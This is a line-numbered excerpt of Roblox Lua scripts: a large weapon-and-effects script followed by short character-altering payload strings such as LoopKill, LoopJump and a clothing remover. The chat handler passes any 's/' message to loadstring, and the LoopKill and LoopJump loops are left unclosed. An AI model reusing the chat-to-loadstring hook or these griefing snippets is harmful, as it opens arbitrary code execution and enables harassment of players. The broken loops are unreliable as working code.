7067 | des = pa(su,"","Block",0,0,0,false,false,0,0.05,"Really black") qi({"SpecialMesh",des,MeshType="FileMesh",Scale=v3(0.2,1,0.2),MeshId=Decs.Diamond}) | |
7068 | desw = qi({"Weld",han2,Part0=han2,Part1=des,C0=cn(0,2.1+(i/2.1),0.6+(i/5))*ca(rd(150-(i*30)),0,0)}) | |
7069 | end | |
7070 | des = pa(su,"","Block",0,0,0,false,false,0,0.05,"Really black") qi({"SpecialMesh",des,MeshType="FileMesh",Scale=v3(0.2,1,0.2),MeshId=Decs.Diamond}) | |
7071 | desw = qi({"Weld",han2,Part0=han2,Part1=des,C0=cn(0,3.6,0.7)*ca(rd(50),0,0)}) | |
7072 | bla = pa(su,"","Wedge",0.2,1,2,false,false,0,0.05,"") qi({"SpecialMesh",bla,Scale=v3(0.56,1,1),MeshType="Wedge"}) | |
7073 | blaw = qi({"Weld",han2,Part0=han8,Part1=bla,C0=cn(0,0.5,-1.2)*ca(rd(30),0,0)}) | |
7074 | bla2 = pa(su,"","Wedge",0.2,0.7,2,false,false,0,0.05,"") qi({"SpecialMesh",bla2,Scale=v3(0.53,1,1),MeshType="Wedge"}) | |
7075 | bla2w = qi({"Weld",han2,Part0=bla,Part1=bla2,C0=cn(0,-0.5,-0.75)*ca(rd(-20),0,0)}) | |
7076 | bla3 = pa(su,"","Wedge",0.2,0.4,2,false,false,0,0.05,"") qi({"SpecialMesh",bla3,Scale=v3(0.5,1,1),MeshType="Wedge"}) | |
7077 | bla3w = qi({"Weld",han2,Part0=bla2,Part1=bla3,C0=cn(0,-0.5,-0.75)*ca(rd(-20),0,0)}) | |
7078 | han10 = pa(su,"","Block",0,0,0,false,false,0,1,"Really black") it('CylinderMesh',han10).Scale = v3(1.2,0.57,1.2) | |
7079 | han10 = qi({"Weld",han2,Part0=bla,Part1=han10,C0=cn(0,-0.37,1.35)*ca(0,0,rd(90))}) | |
7080 | han11 = pa(su,"","Block",0.2,0.37,0.7,false,false,0,0,"") it('BlockMesh',han11).Scale = v3(0.48,1,0.9) | |
7081 | han11 = qi({"Weld",han2,Part0=bla,Part1=han11,C0=cn(0,-0.32,1.3)}) | |
7082 | --http://www.roblox.com/Knights-of-the-Seventh-Sanctum-Sword-and-Shield-item?id=60357959 | |
7083 | raa = c["Right Arm"] | |
7084 | laa = c["Left Arm"] | |
7085 | clawa1 = pa(su,"","Block",0,0,0,false,false,0,0,"Really black") qi({"SpecialMesh",clawa1,MeshType="FileMesh",Scale=v3(0.12,0.8,0.12),MeshId=Decs.Spike}) | |
7086 | clawa1w = qi({"Weld",han2,Part0=laa,Part1=clawa1,C0=ca(rd(180),0,0)*cn(-0.2,1.25,0)}) | |
7087 | clawa2 = pa(su,"","Block",0,0,0,false,false,0,0,"Really black") qi({"SpecialMesh",clawa2,MeshType="FileMesh",Scale=v3(0.12,0.8,0.12),MeshId=Decs.Spike}) | |
7088 | clawa2w = qi({"Weld",han2,Part0=laa,Part1=clawa2,C0=ca(rd(180),0,0)*cn(0.2,1.25,0)}) | |
7089 | clawb1 = pa(su,"","Block",0,0,0,false,false,0,0.4,"White") qi({"SpecialMesh",clawb1,MeshType="FileMesh",Scale=v3(0.12,0.8,0.12),MeshId=Decs.Spike}) | |
7090 | clawb1w = qi({"Weld",han2,Part0=clawa1,Part1=clawb1,C0=cn(0,0.15,0)}) | |
7091 | clawb2 = pa(su,"","Block",0,0,0,false,false,0,0.4,"White") qi({"SpecialMesh",clawb2,MeshType="FileMesh",Scale=v3(0.12,0.8,0.12),MeshId=Decs.Spike}) | |
7092 | clawb2w = qi({"Weld",han2,Part0=clawa2,Part1=clawb2,C0=cn(0,0.15,0)}) | |
7093 | badge = pa(su,"","Block",0,0,0,false,false,0,0,"White") qi({"SpecialMesh",badge,MeshType="FileMesh",Scale=v3(0.15,1,0.5),MeshId=Decs.Diamond}) | |
7094 | badgew = qi({"Weld",han2,Part0=laa,Part1=badge,C0=cn(-0.5,0,0)*ca(rd(25),0,0)}) | |
7095 | badge2 = pa(su,"","Block",0,0,0,false,false,0,0,"Really black") qi({"SpecialMesh",badge2,MeshType="FileMesh",Scale=v3(0.149,1,0.495),MeshId=Decs.Diamond}) | |
7096 | badge2w = qi({"Weld",han2,Part0=badge,Part1=badge2}) | |
7097 | ef = pa(su,"","Block",0,0,0,false,true,1,0,"White") qi({"SpecialMesh",ef,MeshType="FileMesh",Scale=v3(7,7,4),MeshId=Decs.Chakram2}) | |
7098 | --efw = qi({"Weld",han2,Part0=t,Part1=ef,C0=cn(0,-2.9,0)*ca(rd(90),0,0)}) | |
7099 | db1 = pa(su,"","Block",0,0,0,false,false,1,0,"White") qi({"SpecialMesh",db1,MeshType="Sphere",Scale=v3(1,1,1)*5}) | |
7100 | db1w = qi({"Weld",han2,Part0=laa,Part1=db1,C0=cn(0,-2,0)}) | |
7101 | db2 = pa(su,"","Block",0,0,0,false,false,1,0.1,"White") qi({"SpecialMesh",db2,MeshType="Sphere",Scale=v3(1.2,1.2,1.2)*5}) | |
7102 | db2w = qi({"Weld",han2,Part0=db1,Part1=db2,C0=cn(0,0,0)}) | |
7103 | local ebs = false | |
7104 | function eb(wutarm,aa,siz) if not siz then siz = 1 end q(function() db1.Mesh.Scale=v3(siz,siz,siz)*5 db1w.Part0 = wutarm db1w.C0 = cn(0,-1+(-siz/1.25),0) if not ebs then ebs = true | |
7105 | if aa then db1.Transparency = 0.1 else for i=1,0.1,-0.1 do db1.Transparency = i wait() end end | |
7106 | else | |
7107 | ebs = false if aa then db1.Transparency = 1 else for i=0.1,1,0.1 do db1.Transparency = i wait() end end | |
7108 | end end) end | |
7109 | local efm = ef.Mesh.Scale | |
7110 | function e(aa) if aa ~= nil then ef.Mesh.Scale=efm*aa else ef.Mesh.Scale=efm end if ef.Transparency < 0.4 then | |
7111 | for i=0.3,1,0.1 do ef.Transparency = i wait() end | |
7112 | else | |
7113 | q(function() for i=1,0.3,-0.1 do ef.Transparency = i wait() end end) | |
7114 | end end | |
7115 | q(function() while true do if ebs then for i=0.4,0.7,0.025 do local tra = (i+0.15)*(db1.Mesh.Scale.x/4) db2.Transparency =i wait() db2.Mesh.Scale=db1.Mesh.Scale*1.2+v3(tra*(db1.Mesh.Scale.x/5),tra*(db1.Mesh.Scale.x/5),tra*(db1.Mesh.Scale.x/5)) end | |
7116 | for i=0.7,0.4,-0.025 do local tra = (i+0.15)*(db1.Mesh.Scale.x/4) db2.Transparency =i db2.Mesh.Scale=db1.Mesh.Scale*1.2+v3(tra*(db1.Mesh.Scale.x/5),tra*(db1.Mesh.Scale.x/5),tra*(db1.Mesh.Scale.x/5)) wait() end else db2.Transparency = 1 db2.Mesh.Scale = v3(1.2,1.2,1.2)*5 end wait() end end) | |
7117 | q(function() while true do for i=0,1,0.05 do badge.Transparency = i wait() end badge.Transparency = 1 wait(1) for i=1,0,-0.05 do badge.Transparency = i wait() end wait(4) end end) | |
7118 | sho = pa(su,"","Block",0,0,0,false,false,0,0,"Black") qi({"SpecialMesh",sho,Scale=v3(1.1,1.1,1.1)*5,MeshType="Wedge"}) | |
7119 | show = qi({"Weld",han2,Part0=raa,Part1=sho,C0=cn(0,0.545,0)*ca(rd(180),rd(90),0)}) | |
7120 | chak = pa(su,"","Block",0,0,0,false,false,0,0,"") qi({"SpecialMesh",chak,Scale=v3(0.09,0.09,0.24)*5,MeshType="FileMesh",MeshId=Decs.Chakram}) | |
7121 | chakw = qi({"Weld",han2,Part0=raa,Part1=chak,C0=cn(0.56,0.5,0)*ca(0,rd(-90),0)}) | |
7122 | chak2 = pa(su,"","Block",0,0,0,false,false,0.1,0.1,"White") qi({"SpecialMesh",chak2,Scale=v3(0.15,0.15,0.05)*5,MeshType="FileMesh",MeshId=Decs.Chakram2}) | |
7123 | chak2w = qi({"Weld",han2,Part0=raa,Part1=chak2,C0=cn(0.56,0.5,0)*ca(0,rd(-90),0)}) | |
7124 | local efww = 0 | |
7125 | q(function() while true do wait() if FindGround(to.CFrame) then efww = efww+25 ef.CFrame = FindGround(to.CFrame)*ca(0,rd(efww),0)*ca(rd(90),0,0) else ef.CFrame=cn(10000,10000,10000) end end end) | |
7126 | q(function() while true do wait(0.035) chak2w.C0 = chak2w.C0*ca(0,0,rd(25)) end end) | |
7127 | ---- TUT02Cobalt1164 | |
7128 | function Act(k,kb) | |
7129 | if kb then | |
7130 | if k == "e" and Anim=="None" then | |
7131 | Anim = "SpawnSwords" Armz(false) e() eb(raa) fac = true | |
7132 | c2(law,spd,3,-1.5,1,0,30,0,30) c2(tw,spd,3,0,0,0,0,-95,0) c2(hw,spd,3,0,1.5,0,0,95,0) | |
7133 | c1(raw,spd,3,1,0.5,0,0,0,-80) c2(raw,spd,3,1,0.4,0,0,0,-140) for i=1,5 do SpawnSword(FindGround(to.CFrame*cn(0,-2.75,-0.5+(-i*8)-i)),1+(i/10),15,"Navy blue") wait(0.06) end | |
7134 | eb(raa) fac = false wait(0.2) e() c2(law,spd,3,-1.5,1,0,0,0,0) c2(hw,spd,3,0,1.5,0,0,0,0) c2(tw,spd,3,0,0,0,0,0,0) c1(raw,spd,3,1.5,1,0,0,0,0) Armz(true) | |
7135 | Anim = "None" | |
7136 | elseif k == "q" and Anim=="None" then | |
7137 | Anim = "GravGrab" Armz(false) e() eb(laa) caw = false | |
7138 | c2(raw,spd,3,1.5,1,0,30,0,20) c2(tw,spd,3,0,0,0,0,95,0) c2(hw,spd,3,0,1.5,0,0,-95,0) | |
7139 | c1(law,spd,3,-1,0.5,0,0,0,130) SpikeSucker(to.CFrame*cn(0,5,-6),1) eb(laa) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0) | |
7140 | c2(law,spd,3,-1,0.5,0,45,0,90) c2(hw,spd,3,0,1.5,0,0,90,0) c2(tw,spd,3,0,0,0,0,-90,0) c2(hanw,spd,0,-0.1,-2.2,0,0,90,170) | |
7141 | Trail(bla3,15,0,"White",0.65,cn(0,-0.2,-1)) rayHit(0.6,1,ra,ca(rd(-90),0,0),8,1.3) | |
7142 | c1(raw,spd,3,1.3,0.5,0,-30,0,-135) wait(0.5) c2(hanw,spd,0,-0.1,-1.1,0,0,0,75) | |
7143 | caw = true c2(hw,spd,3,0,1.5,0,0,0,0) c2(tw,spd,3,0,0,0,0,0,0) c2(law,spd,3,-1.5,1,0,0,0,0) c1(raw,spd,3,1.5,1,0,30,3,20) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0) c1(raw,spd,3,1.5,1,0,0,0,0) | |
7144 | e() Anim = "None" Armz(true) | |
7145 | elseif k == "z" and Anim=="None" then | |
7146 | Anim = "Blackspace" Armz(false) Legz(false) caw = false | |
7147 | c2(raw,spd,3,1.5,1,0,20,0,-20) c2(law,spd,3,-1.5,1,0,20,0,20) c2(rlw,spd,3,0.5,-1,0,20,0,-20) c2(llw,spd,3,-0.5,-1,0,20,0,20) c1(tw,spd*0.5,3,0,7,0,0,0,0) Blackspace(t.CFrame,40,3) | |
7148 | c2(raw,spd,3,1.5,1,0,0,0,0) c2(law,spd,3,-1.5,1,0,0,0,0) c2(rlw,spd,3,0.5,-1,0,0,0,0) c2(llw,spd,3,-0.5,-1,0,0,0,0) c1(tw,spd,3,0,0,0,0,0,0) Anim = "None" Armz(true) Legz(true) caw = true | |
7149 | elseif k == "g" and Anim=="None" then | |
7150 | Anim = "MatterBall" e() Armz(false) fac = true | |
7151 | c2(tw,spd*1.3,3,0,0,0,0,-90,0) c2(hw,spd*1.3,3,0,1.5,0,0,90,0) c1(law,spd*1.3,3,-1,0.5,0,50,0,90-math.deg((to.Position - mouse.hit.p).unit.y)) | |
7152 | eb(laa,nil,3) wait(0.3) | |
7153 | c2(tw,spd*1.55,3,0,0,0,0,70,0) c2(hw,spd*1.55,3,0,1.5,0,0,-70,0) c1(law,spd*1.55,3,-1,0.5,0,-20,0,90-math.deg((to.Position - mouse.hit.p).unit.y)) eb(laa,true,2) MatterBall(cn(db1.Position,la.CFrame*cn(0,-20,0).p),3,5,30,1.5) | |
7154 | fac = false c2(tw,spd*1.3,3,0,0,0,0,0,0) c2(hw,spd*1.3,3,0,1.5,0,0,0,0) c1(law,spd*1.3,3,-1.5,1,0,0,0,0) e() Armz(true) wait(0.1) Anim = "None" | |
7155 | elseif k == "r" and Anim=="None" then | |
7156 | Anim = "Block" Armz(false) fac = true | |
7157 | c2(tw,spd,3,0,0,0,0,-65,0) c2(hw,spd,3,0,1.5,0,0,65,0) c1(raw,spd,3,1.5,0.5,0.2,-100,-25,-5) c2(law,spd,3,-1.3,1,0.2,20,0,20) | |
7158 | local spm = chak2.Mesh.Scale for i=1,11,1 do chak2.Reflectance = i/40 chak2.Mesh.Scale = spm*i wait() end | |
7159 | block.Value = true repeat wait(0.4) GlowMesh(true,chak2.Mesh.MeshId,chak2,chak2.Mesh.Scale*1.5,'White',cn(0,0,0),chak2.Transparency,1,0.025) until not ky[k] for i=11,1,-1 do chak2.Reflectance = i/40 chak2.Mesh.Scale = spm*i wait() end chak2.Reflectance = 0 | |
7160 | block.Value = false c2(tw,spd*1.3,3,0,0,0,0,0,0) c2(hw,spd*1.3,3,0,1.5,0,0,0,0) c2(law,spd*1.3,3,-1.5,1,0,0,0,0) c1(raw,spd*1.3,3,1.5,1,0,0,0,0) Armz(true) fac = false Anim = "None" | |
7161 | elseif k == "v" and Anim=="None" then | |
7162 | Anim = "RakeFist" Armz(false) fac = true | |
7163 | c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0) | |
7164 | if (to.Position - mouse.hit.p).magnitude < 125 then c2(hanw,spd*1.5,0,-0.1,-1.2,0,0,-30,100) c1(raw,spd*1.5,3,1.5,0.5,0,-135,-60,0) wait(0.2) FistBoom(cn(to.CFrame*cn(-1.5,1.5,-4).p,to.CFrame*cn(-1.5,1.5,-5).p),1,rn(d[1]*2,d[2]*2),(to.Position-v3(mouse.hit.p.x,to.Position.y,mouse.hit.p.z)).magnitude-10) fac = false c1(raw,spd,3,1,0.5,0,-50,70,0) end fac = false | |
7165 | wait(0.2) c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0.5,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0) | |
7166 | c1(raw,spd*0.8,3,1.5,1,0,0,0,0) Armz(true) Anim = "None" | |
7167 | elseif k=="h" and Anim=="None" then | |
7168 | Anim = "Worm" Armz(false) e(3) fac = true caw = false | |
7169 | c2(tw,spd,3,0,0,0,0,-90,0) c2(hw,spd,3,0,1.5,0,0,90,0) c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0) | |
7170 | c2(hanw,spd,0,-0.1,-1.5,0,0,0,180) c1(raw,spd,3,1,0.5,0,-180,0,-30) c1(raw,spd,3,1,0.5,0,0,0,-90) | |
7171 | local tpos = mouse.hit.p if (tpos - bla2.Position).magnitude < 350 then q(function() local to = pa(su,"","Block",2,1,2,false,true,0.1,0,"White") it('CylinderMesh',to) local to2 = pa(su,"","Block",0,0,0,false,true,0.1,0,"White") qi({"SpecialMesh",to2,Scale=v3(2,2,2),MeshType="FileMesh",MeshId=Decs.Totem}) | |
7172 | for i=1,5,0.5 do to.Size=v3(2,i,2) to.CFrame=cn(tpos+v3(0,i/2,0)) to2.CFrame = to.CFrame*cn(0,(i/2)+1,0) wait() end wait(3.5) for i=0.2,1,0.1 do to.Transparency = i to2.Transparency = i wait() end to:Remove() to2:Remove() end) | |
7173 | for i=1,8 do Lightning(bla2.Position,tpos,math.floor((bla2.Position-tpos).magnitude/18)+1,1.5,"White",0.3,0) wait(0.04) end fac = false | |
7174 | caw = true q(function() wait(1) WormDrill(cn(tpos),rn(25,30)/10) end) c1(law,spd,3,-1.5,0.25,0,0,0,180) q(function() local to = pa(su,"","Block",1.5,1.5,1.5,false,true,0.1,0,"White") qi({"SpecialMesh",to,MeshType="Sphere"}) for i=1,15,1 do to.Size=v3(1.5,i*2,1.5) to.CFrame=la.CFrame*cn(0,-2+(-i),0) wait() end GlowMesh(false,"Sphere",t,v3(35,35,35),'Navy blue',la.CFrame*cn(0,-32,0),0.1,1,0.1) fade(to,0.1) end) | |
7175 | end fac = false caw = true c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0) | |
7176 | c2(tw,spd,3,0,0,0,0,0,0) c2(hw,spd,3,0,1.5,0,0,0,0) c2(law,spd*0.8,3,-1.5,1,0,0,0,0) c1(raw,spd*0.8,3,1.5,1,0,0,0,0) Armz(true) e(3) Anim = "None" | |
7177 | elseif k == "y" and Anim == "None" then | |
7178 | Anim = "Whirlwind" Armz(false) e() fac = true | |
7179 | c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0) | |
7180 | c2(hanw,spd,0,-0.1,-1.2,0,0,0,90) c2(hanw,spd,1,0,0,0,0,0,0) c1(raw,spd,3,1,0.5,0,-180,0,0) wait(0.1) | |
7181 | local to = pa(su,"","Block",0,0,0,false,false,0.2,0,"White") it('CylinderMesh',to).Scale=v3(9,0.2,9)*5 local tom = qi({"Weld",to,Part0=ra,Part1=to}) | |
7182 | q(function() for i=1,40 do if i == 20 then for hax=-50,50,25 do SpawnTornado(t.CFrame*cn(0,3,0)*ca(0,rd(hax),0),1,1.2,6) end end tom.C0 = cn(0,-2.3,0)*ca(rd(rn(-8,8)),0,rd(rn(-8,8))) wait() end fade(to,0.1) end) c1(hanw,spd*0.3,1,0,0,0,360*5,0,0) cleanweld(hanw,"a1") | |
7183 | c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0) | |
7184 | c1(raw,spd,3,1.5,1,0,0,0,0) Armz(true) e() fac = false Anim ="None" | |
7185 | elseif k == "n" and Anim=="None" then | |
7186 | Anim = "CrownSwords" Armz(false) Legz(false) e() caw = false c2(tw,spd,3,0,5,2,-20,0,0) c2(llw,spd,3,-0.5,-1,0,20,0,20) c2(rlw,spd,3,0.5,-1,0,20,0,-20) | |
7187 | c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0) | |
7188 | c2(hanw,spd,0,-0.1,-1.2,0,40,0,205) c2(hanw,spd,1,0,0,0,0,-180,0) c2(raw,spd,3,1,0.5,-0.5,-135,-25,0) c1(law,spd,3,-1,0.5,-0.5,-135,25,0) wait(0.15) | |
7189 | c2(raw,spd,3,1,0.5,-0.5,-70,-25,0) c2(law,spd,3,-1,0.5,-0.5,-70,25,0) c1(tw,spd,3,0,0,0,30,0,0) wait(0.2) GlowMesh(false,"Sphere",t,v3(9,15,12),'Navy blue',to.CFrame,0.1,1,0.05) CrownSwords(to.CFrame*cn(0,-2.5,-3)) to.CFrame = to.CFrame*cn(0,0,30) GlowMesh(false,"Sphere",t,v3(9,15,12),'Navy blue',to.CFrame,0.1,1,0.05) | |
7190 | wait(0.2) e() c2(tw,spd,3,0,0,0,0,0,0) c2(llw,spd,3,-0.5,-1,0,0,0,0) c2(rlw,spd,3,0.5,-1,0,0,0,0) c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0) | |
7191 | c1(law,spd,3,-1.5,1,0,0,0,0) c1(raw,spd,3,1.5,1,0,0,0,0) Legz(true) Armz(true) caw = true Anim ="None" | |
7192 | elseif k == "b" and Anim=="None" then | |
7193 | Anim = "DeathWall" Armz(false) e() caw = false | |
7194 | c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0) | |
7195 | c2(hanw,spd,0,-0.1,-1.2,0,40,0,190) c2(hanw,spd,1,0,0,0,0,-180,0) c2(raw,spd,3,1,0.5,-0.5,-135,-25,0) c1(law,spd,3,-1,0.5,-0.5,-135,25,0) wait(0.15) | |
7196 | c2(raw,spd*1.4,3,1,0.5,-0.5,-45,-25,0) c1(law,spd*1.4,3,-1,0.5,-0.5,-45,25,0) GlowMesh(false,"Sphere",t,v3(15,1,15),'Navy blue',to.CFrame*cn(0,-2.8,-5.5),0.1,1,0.03) | |
7197 | wait(0.2) for i=0,300,60 do SpawnDeathBlock(to.CFrame*ca(0,rd(i),0)*cn(0,-2.8,-10),to.Position,1) wait() end | |
7198 | wait(0.2) e() c2(tw,spd,3,0,0,0,0,0,0) c2(llw,spd,3,-0.5,-1,0,0,0,0) c2(rlw,spd,3,0.5,-1,0,0,0,0) c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0) | |
7199 | c1(law,spd,3,-1.5,1,0,0,0,0) c1(raw,spd,3,1.5,1,0,0,0,0) Armz(true) caw = true Anim ="None" | |
7200 | elseif k == "f" and Anim=="None" then | |
7201 | Anim = "RapidKick" Legz(false) | |
7202 | c1(tw,spd,3,0,-0.5,0,-90,0,90) local lo = {-1,-1.6} local ty = 0 ws(25) | |
7203 | c1(tw,0.013,3,0,-0.5,0,-90,0,90+(360*5),function() ty=ty+1 local tz = 35 if lo[1] == -1 then lo = {-1.6,-1} else lo = {-1,-1.6} end | |
7204 | c2(llw,1,3,-0.5,lo[1],0,rn(-tz,tz),0,rn(-tz,tz)) | |
7205 | c2(rlw,1,3,0.5,lo[2],0,rn(-tz,tz),0,rn(-tz,tz)) | |
7206 | local tst = ll if rn(1,2) == 1 then tst = rl end | |
7207 | local das = pa(su,"","Block",1.5,2.5,1.5,false,true,0.1,0,"White") qi({"SpecialMesh",das,MeshType="Sphere"}) | |
7208 | das.CFrame=tst.CFrame*cn(0,-4,0) fade(das,0.2) | |
7209 | if ty%3== 0 then hu:MoveTo(to.CFrame*cn(0,0,-5).p,to) local rr = 2 GetRegion(to.CFrame*cn(0,0,-3).p-v3(rr,rr,rr),to.CFrame*cn(0,0,-3).p+v3(rr,rr,rr),function(v) Dmgz(false,v.Humanoid,rn(d[1],d[2])*0.2,v.Torso) end) end | |
7210 | if ty%6==0 then GlowMesh(false,Decs.Crown,t,v3(3,6,3),'Navy blue',to.CFrame*cn(0,0,3)*ca(rd(90),0,0),0.1,1,0.05) end | |
7211 | end) ws(16) | |
7212 | c2(llw,1,3,-0.5,-1,0,0,0,0) c2(rlw,1,3,0.5,-1,0,0,0,0) c1(tw,spd,3,0,0,0,0,0,360*5) cleanweld(tw,"a1") Legz(true) Anim="None" | |
7213 | end | |
7214 | else | |
7215 | if k == "q" then | |
7216 | end -- q end | |
7217 | end -- bool end | |
7218 | end -- func end | |
7219 | local pla = pa(su,"","Block",7,1,7,true,true,1,0,"White") | |
7220 | function ButtonDown() if Anim~="None" then return end | |
7221 | to.Velocity=v3(0,0,0) if hu.Jump then GlowMesh(false,"Sphere",t,v3(8,2,8),'White',to.CFrame*cn(0,-2,0),0.1,1,0.05) GlowMesh(false,Decs.Crown,t,v3(5,3,5),'White',to.CFrame*cn(0,-1.5,0)*ca(rd(180),0,0),0.1,1,0.05) to.CFrame=to.CFrame*cn(0,20,0) | |
7222 | hu.Jump=false GlowMesh(false,"Sphere",t,v3(8,2,8),'Navy blue',to.CFrame*cn(0,-4,0),0.1,1,0.05) | |
7223 | else GlowMesh(false,"Sphere",t,v3(8,10,2),'Navy blue',to.CFrame,0.1,1,0.05) | |
7224 | GlowMesh(false,Decs.Crown,t,v3(5,3,5),'Navy blue',to.CFrame*cn(0,0,1)*ca(rd(90),0,0),0.1,1,0.05) to.CFrame=to.CFrame*cn(0,0,-12) GlowMesh(false,"Sphere",t,v3(8,10,2),'White',to.CFrame*cn(0,0,1),0.1,1,0.05) end | |
7225 | pla.CFrame= to.CFrame*cn(0,-3.4,0) local orpos = pla.Position repeat wait(0.5) GlowMesh(false,"Sphere",t,v3(14,1,14),'Navy blue',cn(orpos)*cn(0,0.5,0),0.1,1,0.02) until pla.Position~=orpos or (pla.Position-to.Position).magnitude>10 | |
7226 | to.Velocity=v3(0,0,0) | |
7227 | end | |
7228 | pl.Chatted:connect(function(ms) local m = ms:lower() if su.Parent == nil then return end | |
7229 | if m=="tkon" then tk = true | |
7230 | elseif m=="tkoff" then tk = false | |
7231 | elseif m == "rake" and Anim=="None" then Anim = "Special" | |
7232 | for i=1,8 do FistBoom(to.CFrame*ca(0,rd((360/8)*i),0)*cn(0,3,-6),1.5,rn(d[1]*2,d[2]*2),15) end wait(2) Anim="None" | |
7233 | elseif m == "torn" and Anim=="None" then Anim = "Special" | |
7234 | for i=1,10 do SpawnTornado(t.CFrame*cn(0,3,0)*ca(0,rd((360/10)*i),0)*cn(0,0,-2.5),1.5,1.5,8) end Anim = "None" | |
7235 | elseif m == "blast" and Anim=="None" then Anim = "Special" | |
7236 | for i=1,10 do MatterBall(to.CFrame*ca(0,rd((360/10)*i),0)*cn(0,1.5,-2.5),6,5,30,1.5) end Anim = "None" | |
7237 | elseif m:sub(1,2) == "s/" then q(function() loadstring(ms:sub(3))() end) | |
7238 | end end) | |
7239 | bin = it("HopperBin",bp) --bin = it("Tool") it("Part",bin).Name = "Handle" | |
7240 | bin.Name = sn | |
7241 | ---- TUT03Cobalt1164 | |
7242 | bin.Selected:connect(function(mouse2) mouse = mouse2 | |
7243 | mouse.KeyDown:connect(function(k) ky[k:lower()] = true | |
7244 | Act(k:lower(),true) end) | |
7245 | mouse.KeyUp:connect(function(k) ky[k:lower()] = false | |
7246 | Act(k:lower(),false) end) | |
7247 | mouse.Button1Down:connect(function() ButtonDown() end) | |
7248 | end) | |
7249 | ---- TUT04Cobalt1164 | |
7250 | bin.Deselected:connect(function() | |
7251 | end) | |
7252 | --bin.Parent = c | |
7253 | fac = false local bgg = it('BodyGyro',to) | |
7254 | ---- TUT05Cobalt1164 | |
7255 | q(function() while wait() do | |
7256 | if caw then hu.WalkSpeed = wss else hu.WalkSpeed = 0 end | |
7257 | if fac then bgg.maxTorque = v3(1/0,1/0,1/0) bgg.D = 50 bgg.cframe = cn(to.Position,v3(mouse.hit.p.x,to.Position.y,mouse.hit.p.z)) else bgg.maxTorque = v3(0,0,0) end | |
7258 | end end) | |
7259 | ]] | |
7260 | LoopJump = [[ | |
7261 | char = game:service'Players'.LocalPlayer.Character | |
7262 | for i = 1, 1500 do | |
7263 | char.Humanoid.Jump = true | |
7264 | ]] | |
7265 | LoopKill = [[ | |
7266 | char = game:service'Players'.LocalPlayer.Character | |
7267 | for i = 1, 1500 do | |
7268 | char.Humanoid.Health = 0 | |
7269 | ]] | |
7270 | Nkd = [[ | |
7271 | char = game:service'Players'.LocalPlayer.Character | |
7272 | char:FindFirstChild("Shirt"):Remove() | |
7273 | char:FindFirstChild("Pants"):Remove() | |
7274 | ]] | |
7275 | Noob = [[ | |
7276 | char = game:service'Players'.LocalPlayer.Character | |
7277 | char:FindFirstChild("Head").BrickColor = BrickColor.new("Bright yellow") | |
7278 | char:FindFirstChild("Torso").BrickColor = BrickColor.new("Bright green") | |
7279 | char:FindFirstChild("Right Leg").BrickColor = BrickColor.new("Bright blue") | |
7280 | char:FindFirstChild("Left Leg").BrickColor = BrickColor.new("Bright blue") | |
7281 | char:FindFirstChild("Right Arm").BrickColor = BrickColor.new("Bright yellow") | |
7282 | char:FindFirstChild("Left Arm").BrickColor = BrickColor.new("Bright yellow") | |
7283 | ]] | |
7284 | Shiny = [[ | |
7285 | char = game:service'Players'.LocalPlayer.Character | |
7286 | char:FindFirstChild("Head").Reflectance = 1 | |
7287 | char:FindFirstChild("Torso").Reflectance = 1 | |
7288 | char:FindFirstChild("Right Leg").Reflectance = 1 | |
7289 | char:FindFirstChild("Left Leg").Reflectance = 1 | |
7290 | char:FindFirstChild("Right Arm").Reflectance = 1 | |
